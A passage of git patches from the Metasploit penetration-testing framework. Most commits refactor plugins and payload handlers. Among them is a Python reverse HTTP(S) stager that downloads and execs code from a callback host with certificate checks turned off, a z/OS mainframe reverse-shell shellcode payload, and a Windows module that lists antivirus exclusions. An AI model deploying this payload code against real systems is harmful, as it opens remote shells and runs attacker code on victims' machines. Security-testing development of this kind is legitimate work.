7cd7dd84d8..35689e640a 100644 --- a/plugins/sounds.rb +++ b/plugins/sounds.rb @@ -13,9 +13,8 @@ module Msf class Plugin::EventSounds < Msf::Plugin - attr_accessor :theme, :base, :queue, :queue_thread - attr_reader :try_harder, :session_open, :excellent + attr_reader :try_harder, :excellent, :got_a_shell, :exploit_worked, :wonderful, :excellent include Msf::SessionEvent @@ -24,12 +23,18 @@ class Plugin::EventSounds < Msf::Plugin end def on_session_open(session) - sound = [excellent, session_open].sample + sound = [ + excellent, + got_a_shell, + exploit_worked, + wonderful, + excellent + ].sample play_sound(sound) end def on_session_close(session, reason='') - play_sound(session_close) + # Cannot find an audio clip of muts saying something suitable for this. end def on_session_fail(reason='') @@ -70,9 +75,12 @@ class Plugin::EventSounds < Msf::Plugin def init_sound_paths - @try_harder = 'try_harder' - @session_open = 'session_open' - @excellent = 'excellent' + @try_harder = 'try_harder' + @excellent = 'excellent' + @got_a_shell = 'got_a_shell' + @exploit_worked = 'exploit_worked' + @wonderful = 'wonderful' + @excellent = 'excellent' end From ecfcdbe8759309bbc2b7601e950743a2c622e4ce Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 25 Nov 2015 23:49:44 -0600 Subject: [PATCH 1340/2172] rm extra "excellent" --- plugins/sounds.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/plugins/sounds.rb b/plugins/sounds.rb index 35689e640a..4256f6e479 100644 --- a/plugins/sounds.rb +++ b/plugins/sounds.rb @@ -14,7 +14,7 @@ module Msf class Plugin::EventSounds < Msf::Plugin attr_accessor :theme, :base, :queue, :queue_thread - attr_reader :try_harder, :excellent, :got_a_shell, :exploit_worked, :wonderful, :excellent + attr_reader :try_harder, :excellent, :got_a_shell, :exploit_worked, :wonderful include Msf::SessionEvent @@ -27,8 +27,7 @@ class Plugin::EventSounds < Msf::Plugin excellent, got_a_shell, exploit_worked, - wonderful, - excellent + wonderful ].sample play_sound(sound) end @@ -80,7 +79,6 @@ class Plugin::EventSounds < Msf::Plugin @got_a_shell = 'got_a_shell' @exploit_worked = 'exploit_worked' @wonderful = 'wonderful' - @excellent = 'excellent' end From 87507e19a9e42a74061c07afb549e99f915b3fd9 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 26 Nov 2015 16:18:00 +1000 Subject: [PATCH 1341/2172] Change job view to show bind port if applicable --- lib/msf/base/serializer/readable_text.rb | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 724d8258e4..e912cbb6f5 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -658,7 +658,15 @@ class ReadableText ctx = framework.jobs[k].ctx row = [ k, framework.jobs[k].name ] row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname) - row << (ctx[0].datastore['LPORT'] || "") + + # Make the LPORT show the bind port if it's different + local_port = ctx[0].datastore['LPORT'] + bind_port = ctx[0].datastore['ReverseListenerBindPort'] + lport = (local_port || "").to_s + if bind_port && bind_port != 0 && bind_port != lport + lport << " (#{bind_port})" + end + row << lport if (verbose) uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource) From d9655fc882f3fcb1d9ef3532cf373a9b71741ac2 Mon Sep 17 00:00:00 2001 From: Jon Cave <jon@joncave.co.uk> Date: Thu, 26 Nov 2015 16:08:22 +0000 Subject: [PATCH 1342/2172] Use LPORT if opts[:lport] is undefined `nil.to_i` returns 0 which will short circuit the || resulting in port 0 being used. nil should be checked for prior to casting to int. --- lib/msf/core/payload/transport_config.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 11a020004b..97667e5450 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -56,7 +56,7 @@ module Msf::Payload::TransportConfig { :scheme => 'http', :lhost => opts[:lhost] || datastore['LHOST'], - :lport => opts[:lport].to_i || datastore['LPORT'].to_i, + :lport => (opts[:lport] || datastore['LPORT']).to_i, :uri => uri, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i, From bd25ffa48c49e6f74aa8ed551ae4c3ce979c1e85 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Thu, 26 Nov 2015 13:32:50 -0500 Subject: [PATCH 1343/2172] Consolidate py reverse http uri code into a mixin --- lib/msf/core/payload/python/reverse_http.rb | 46 +++++++++++++++++++ lib/msf/core/payload/python/reverse_tcp.rb | 1 - .../payloads/stagers/python/reverse_http.rb | 35 ++------------ .../payloads/stagers/python/reverse_https.rb | 37 ++------------- 4 files changed, 52 insertions(+), 67 deletions(-) create mode 100644 lib/msf/core/payload/python/reverse_http.rb diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb new file mode 100644 index 0000000000..74fbf4c2b2 --- /dev/null +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -0,0 +1,46 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid/options' + +module Msf + +module Payload::Python::ReverseHttp + + include Msf::Payload::UUID::Options + + # + # Return the longest URL that fits into our available space + # + def generate_callback_uri + uri_req_len = 30 + rand(256-30) + + # Generate the short default URL if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + uri_req_len = 5 + end + + generate_uri_uuid_mode(:init_python, uri_req_len) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # The final estimated size + space + end + +end + +end + diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index c693829829..2f9f79877c 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -63,4 +63,3 @@ module Payload::Python::ReverseTcp end end - diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 1157fb49f0..c7249c986f 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -5,12 +5,14 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python/reverse_http' -module Metasploit3 +module Metasploit4 CachedSize = 466 include Msf::Payload::Stager + include Msf::Payload::Python::ReverseHttp def initialize(info = {}) super(merge_info(info, @@ -78,35 +80,4 @@ module Metasploit3 return b64_stub end - # - # Determine the maximum amount of space required for the features requested - # - def required_space - # Start with our cached default generated size - space = cached_size - - # Add 100 bytes for the encoder to have some room - space += 100 - - # Make room for the maximum possible URL length - space += 256 - - # The final estimated size - space - end - - # - # Return the longest URL that fits into our available space - # - def generate_callback_uri - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - uri_req_len = 5 - end - - generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, uri_req_len) - end - end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 5da0a623d7..20c0e2a76f 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -5,14 +5,14 @@ require 'msf/core' require 'msf/core/handler/reverse_https' -require 'msf/core/payload/uuid/options' +require 'msf/core/payload/python/reverse_http' -module Metasploit3 +module Metasploit4 CachedSize = 762 include Msf::Payload::Stager - include Msf::Payload::UUID::Options + include Msf::Payload::Python::ReverseHttp def initialize(info = {}) super(merge_info(info, @@ -93,35 +93,4 @@ module Metasploit3 return b64_stub end - # - # Determine the maximum amount of space required for the features requested - # - def required_space - # Start with our cached default generated size - space = cached_size - - # Add 100 bytes for the encoder to have some room - space += 100 - - # Make room for the maximum possible URL length - space += 256 - - # The final estimated size - space - end - - # - # Return the longest URL that fits into our available space - # - def generate_callback_uri - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - uri_req_len = 5 - end - - generate_uri_uuid_mode(:init_python, uri_req_len) - end - end From 1b495e73aca275c6b2853e2351c4e14a0358eb88 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Thu, 26 Nov 2015 13:59:44 -0500 Subject: [PATCH 1344/2172] Further reduce python reverse_http duplicate code --- lib/msf/core/payload/python.rb | 4 +- lib/msf/core/payload/python/reverse_http.rb | 80 ++++++++++++++++++- .../payloads/stagers/python/reverse_http.rb | 49 +----------- .../payloads/stagers/python/reverse_https.rb | 57 +------------ 4 files changed, 87 insertions(+), 103 deletions(-) diff --git a/lib/msf/core/payload/python.rb b/lib/msf/core/payload/python.rb index c2bae66e02..13ce0cde2c 100644 --- a/lib/msf/core/payload/python.rb +++ b/lib/msf/core/payload/python.rb @@ -5,7 +5,9 @@ module Msf::Payload::Python # # Encode the given python command in base64 and wrap it with a stub - # that will decode and execute it on the fly. + # that will decode and execute it on the fly. The code will be condensed to + # one line and compatible with all Python versions supported by the Python + # Meterpreter stage. # # @param cmd [String] The python code to execute. # @return [String] Full python stub to execute the command. diff --git a/lib/msf/core/payload/python/reverse_http.rb b/lib/msf/core/payload/python/reverse_http.rb index 74fbf4c2b2..a8ca06f98f 100644 --- a/lib/msf/core/payload/python/reverse_http.rb +++ b/lib/msf/core/payload/python/reverse_http.rb @@ -10,7 +10,42 @@ module Payload::Python::ReverseHttp include Msf::Payload::UUID::Options # - # Return the longest URL that fits into our available space + # Generate the first stage + # + def generate(opts={}) + opts.merge!({ + host: datastore['LHOST'] || '127.127.127.127', + port: datastore['LPORT'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + user_agent: datastore['MeterpreterUserAgent'] + }) + opts[:scheme] = 'http' if opts[:scheme].nil? + + generate_reverse_http(opts) + end + + # + # Return the callback URL + # + def generate_callback_url(opts) + # required opts: + # host, port, scheme + if Rex::Socket.is_ipv6?(opts[:host]) + target_url = "#{opts[:scheme]}://[#{opts[:host]}]" + else + target_url = "#{opts[:scheme]}://#{opts[:host]}" + end + + target_url << ':' + target_url << opts[:port].to_s + target_url << '/' + target_url << generate_callback_uri + target_url + end + + # + # Return the longest URI that fits into our available space # def generate_callback_uri uri_req_len = 30 + rand(256-30) @@ -23,6 +58,49 @@ module Payload::Python::ReverseHttp generate_uri_uuid_mode(:init_python, uri_req_len) end + def generate_reverse_http(opts={}) + # required opts: + # proxy_host, proxy_port, scheme, user_agent + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) + } + + proxy_host = opts[:proxy_host] + proxy_port = opts[:proxy_port] + + urllib_fromlist = ['\'build_opener\''] + urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != '' + urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https' + urllib_fromlist = '[' + urllib_fromlist.join(',') + ']' + + cmd = "import sys\n" + cmd << "vi=sys.version_info\n" + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n" + cmd << "hs=[]\n" + if opts[:scheme] == 'https' + # Context added to HTTPSHandler in 2.7.9 and 3.4.3 + cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n" + cmd << "\timport ssl\n" + cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n" + cmd << "\tsc.check_hostname=False\n" + cmd << "\tsc.verify_mode=ssl.CERT_NONE\n" + cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n" + end + + if proxy_host.to_s != '' + proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? + "http://[#{proxy_host}]:#{proxy_port}" : + "http://#{proxy_host}:#{proxy_port}" + cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" + end + + cmd << "o=ul.build_opener(*hs)\n" + cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n" + cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n" + + py_create_exec_stub(cmd) + end + # # Determine the maximum amount of space required for the features requested # diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index c7249c986f..17671eabbf 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' +require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' module Metasploit4 @@ -12,6 +13,7 @@ module Metasploit4 CachedSize = 466 include Msf::Payload::Stager + include Msf::Payload::Python include Msf::Payload::Python::ReverseHttp def initialize(info = {}) @@ -33,51 +35,4 @@ module Metasploit4 ], self.class) end - # - # Constructs the payload - # - def generate - lhost = datastore['LHOST'] || '127.127.127.127' - - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) - } - - if Rex::Socket.is_ipv6?(lhost) - target_url = "http://[#{lhost}]" - else - target_url = "http://#{lhost}" - end - - target_url << ':' - target_url << datastore['LPORT'].to_s - target_url << '/' - target_url << generate_callback_uri - - proxy_host = datastore['PayloadProxyHost'].to_s - proxy_port = datastore['PayloadProxyPort'].to_i - - cmd = "import sys\n" - if proxy_host == '' - cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" - else - proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? - "http://[#{proxy_host}]:#{proxy_port}" : - "http://#{proxy_host}:#{proxy_port}" - - cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" - cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n" - end - - cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" - cmd << "exec(o.open('#{target_url}').read())\n" - - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - return b64_stub - end - end diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 20c0e2a76f..a811706265 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' +require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' module Metasploit4 @@ -12,6 +13,7 @@ module Metasploit4 CachedSize = 762 include Msf::Payload::Stager + include Msf::Payload::Python include Msf::Payload::Python::ReverseHttp def initialize(info = {}) @@ -37,60 +39,7 @@ module Metasploit4 # Constructs the payload # def generate - lhost = datastore['LHOST'] || '127.127.127.127' - - var_escape = lambda { |txt| - txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) - } - - if Rex::Socket.is_ipv6?(lhost) - target_url = "https://[#{lhost}]" - else - target_url = "https://#{lhost}" - end - - target_url << ':' - target_url << datastore['LPORT'].to_s - target_url << generate_callback_uri - - proxy_host = datastore['PayloadProxyHost'].to_s - proxy_port = datastore['PayloadProxyPort'].to_i - - if proxy_host == '' - urllib_fromlist = "['HTTPSHandler','build_opener']" - else - urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']" - end - - cmd = "import sys\n" - cmd << "vi=sys.version_info\n" - cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n" - cmd << "hs=[]\n" - # Context added to HTTPSHandler in 2.7.9 and 3.4.3 - cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n" - cmd << "\timport ssl\n" - cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n" - cmd << "\tsc.check_hostname=False\n" - cmd << "\tsc.verify_mode=ssl.CERT_NONE\n" - cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n" - - if proxy_host != '' - proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? - "http://[#{proxy_host}]:#{proxy_port}" : - "http://#{proxy_host}:#{proxy_port}" - cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" - end - - cmd << "o=ul.build_opener(*hs)\n" - cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" - cmd << "exec(o.open('#{target_url}').read())\n" - - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - return b64_stub + super({scheme: 'https'}) end end From 216119c05c79eaabdb1f098cc7519eec878e8d33 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 26 Nov 2015 11:28:43 -0600 Subject: [PATCH 1345/2172] unfold override lhost/lport logic --- lib/msf/core/handler/reverse_http.rb | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 1ae5e763c5..16e987ded7 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -347,13 +347,30 @@ protected resp['Content-Type'] = 'application/octet-stream' + lhost = datastore['LHOST'] + lport = datastore['LPORT'] + + if datastore['OverrideRequestHost'] + if datastore['OverrideLHOST'] + lhost = datastore['OverrideLHOST'] + else + if req && req.headers && req.headers['Host'] + lhost = req.headers['Host'] + end + end + + if datastore['OverrideLPORT'] + lport = datastore['OverrideLPORT'] + end + end + # generate the stage, but pass in the existing UUID and connection id so that # we don't get new ones generated. blob = obj.stage_payload( uuid: uuid, uri: conn_id, - lhost: datastore['OverrideRequestHost'] ? datastore['OverrideLHOST'] : (req && req.headers && req.headers['Host']) ? req.headers['Host'] : datastore['LHOST'], - lport: datastore['OverrideRequestHost'] ? datastore['OverrideLPORT'] : datastore['LPORT'] + lhost: lhost, + lport: lport ) resp.body = encode_stage(blob) From e5119e644618f8976f90c7be358053404e7c4b01 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 26 Nov 2015 15:21:51 -0600 Subject: [PATCH 1346/2172] use payload_uri's result to derive lhost / lport --- lib/msf/core/handler/reverse_http.rb | 22 +++------------------- 1 file changed, 3 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 16e987ded7..dac7968130 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -344,33 +344,17 @@ protected when :init_native print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...") url = payload_uri(req) + conn_id + "/\x00" + uri = URI(payload_uri(req) + conn_id) resp['Content-Type'] = 'application/octet-stream' - lhost = datastore['LHOST'] - lport = datastore['LPORT'] - - if datastore['OverrideRequestHost'] - if datastore['OverrideLHOST'] - lhost = datastore['OverrideLHOST'] - else - if req && req.headers && req.headers['Host'] - lhost = req.headers['Host'] - end - end - - if datastore['OverrideLPORT'] - lport = datastore['OverrideLPORT'] - end - end - # generate the stage, but pass in the existing UUID and connection id so that # we don't get new ones generated. blob = obj.stage_payload( uuid: uuid, uri: conn_id, - lhost: lhost, - lport: lport + lhost: uri.host, + lport: uri.port ) resp.body = encode_stage(blob) From d2bfc4d8e020d4b05653069e170d228654139f03 Mon Sep 17 00:00:00 2001 From: Bigendian Smalls <mainframe@bigendiansmalls.com> Date: Thu, 26 Nov 2015 17:07:03 -0600 Subject: [PATCH 1347/2172] Added reverse shell payload for Mainframe This is the first and probably most useful shellcode for mainframe platform. Standard reverse shell works just like any other platform reverse shell. --- .../singles/mainframe/shell_reverse_tcp.rb | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 modules/payloads/singles/mainframe/shell_reverse_tcp.rb diff --git a/modules/payloads/singles/mainframe/shell_reverse_tcp.rb b/modules/payloads/singles/mainframe/shell_reverse_tcp.rb new file mode 100644 index 0000000000..66c692ff96 --- /dev/null +++ b/modules/payloads/singles/mainframe/shell_reverse_tcp.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# This payload has no ebcdic<->ascii translator built in. +# Therefore it must use a shell which does, like mainframe_shell +# +# +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/mainframe_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + CachedSize = 339 + + include Msf::Payload::Single + include Msf::Payload::Mainframe + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP Inline', + 'Description' => 'Listen for a connection and spawn a command shell. + This implmentation does not include ebcdic character translation, + so a client with translation capabilities is required. MSF handles + this automatically.', + 'Author' => 'Bigendian Smalls', + 'License' => MSF_LICENSE, + 'Platform' => 'mainframe', + 'Arch' => ARCH_ZARCH, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::MainframeShell, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 321, 'n' ], + 'LHOST' => [ 323, 'ADDR' ], + }, + 'Payload' => + "\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" + + "\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" + + "\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" + + "\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" + + "\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" + + "\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" + + "\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" + + "\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" + + "\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" + + "\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" + + "\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" + + "\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" + + "\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" + + "\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" + + "\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" + + "\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" + + "\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" + + "\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" + + "\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" + + "\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" + + "\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" + + "\x61\xa2\x88" + })) + end +end From c888726a1a3d43ccbda265ce5ebe091ebb890535 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 26 Nov 2015 18:30:31 -0600 Subject: [PATCH 1348/2172] Fix #6287, check DisablePayloadHandler value in exploit.rb It looks active_module datastore options are always strings. They are actually different than what the module uses (normalized), so we have to always have to check it. --- lib/msf/ui/console/command_dispatcher/exploit.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index d3b9747484..d3e963ac05 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -154,7 +154,8 @@ class Exploit else # If we didn't run a payload handler for this exploit it doesn't # make sense to complain to the user that we didn't get a session - unless (mod.datastore["DisablePayloadHandler"]) + disable_handler = /^true$/i === mod.datastore["DisablePayloadHandler"] ? true : false + unless disable_handler fail_msg = 'Exploit completed, but no session was created.' print_status(fail_msg) begin From 9bcbd124076d3c14cfa106456a1ec4ae8d5505f3 Mon Sep 17 00:00:00 2001 From: Bigendian Smalls <mainframe@bigendiansmalls.com> Date: Thu, 26 Nov 2015 21:34:27 -0600 Subject: [PATCH 1349/2172] Updated spec for mainframe rev shell --- spec/modules/payloads_spec.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 9938443e12..cdc4092f8e 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1647,6 +1647,16 @@ describe 'modules/payloads', :content do reference_name: 'linux/x86/shell_reverse_tcp2' end + context 'mainframe/shell_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/mainframe/shell_reverse_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'mainframe/shell_reverse_tcp' + end + context 'netware/shell/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 0c8eb6fb377cb2d80614a7258212b1c028407168 Mon Sep 17 00:00:00 2001 From: Jon Cave <jon@joncave.co.uk> Date: Fri, 27 Nov 2015 09:16:20 +0000 Subject: [PATCH 1350/2172] Display ReverseListenerBindPort if it is set ReverseListenerBindPort overrides LPORT if it is used. The `listener_uri` method should use the output `bind_port` to account for this. --- lib/msf/core/handler/reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 1ae5e763c5..137922e8ff 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -81,7 +81,7 @@ module ReverseHttp # @return [String] A URI of the form +scheme://host:port/+ def listener_uri uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address - "#{scheme}://#{uri_host}:#{datastore['LPORT']}/" + "#{scheme}://#{uri_host}:#{bind_port}/" end # Return a URI suitable for placing in a payload. From 070a156925c3627252c7c2ab1e2db21bc19239ba Mon Sep 17 00:00:00 2001 From: BAZIN-HSC <dbn@hsc.fr> Date: Fri, 27 Nov 2015 13:58:19 +0100 Subject: [PATCH 1351/2172] -Recovrey +Recovery --- lib/rex/parser/fs/bitlocker.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/parser/fs/bitlocker.rb b/lib/rex/parser/fs/bitlocker.rb index de1b2cfd15..9508f521c8 100644 --- a/lib/rex/parser/fs/bitlocker.rb +++ b/lib/rex/parser/fs/bitlocker.rb @@ -152,7 +152,7 @@ module Rex end end - # stretch all the Recovrey key and returns it + # stretch all the Recovery key and returns it def recovery_key_transformation(recoverykey) # recovery key stretching phase 1 recovery_intermediate = recoverykey.split('-').map(&:to_i) From 9c016343c7dfd6ad285eee045ad2da959a7a4837 Mon Sep 17 00:00:00 2001 From: Andrew Smith <jakx.ppr@gmail.com> Date: Fri, 27 Nov 2015 16:41:40 -0500 Subject: [PATCH 1352/2172] Update to logic and reliability Included support for Windows Defender Rewrote logic to support hosts with multiple AV products installed --- .../post/windows/gather/enum_av_excluded.rb | 94 ++++++++++++++----- 1 file changed, 71 insertions(+), 23 deletions(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 574ed45364..d72957d9a2 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -22,23 +22,41 @@ class Metasploit3 < Msf::Post end - def excluded_list + def enum_mssec if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft").include?("Microsoft Antimalware") print_status "MS Security Essentials Identified" - prog = "MSSEC" - keyms = "HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths\\" - elsif registry_enumkeys("HKLM\\SOFTWARE\\Symantec").include?("Symantec Endpoint Protection") - print_status "SEP Identified" - keyadm = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Admin" - keycli = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint 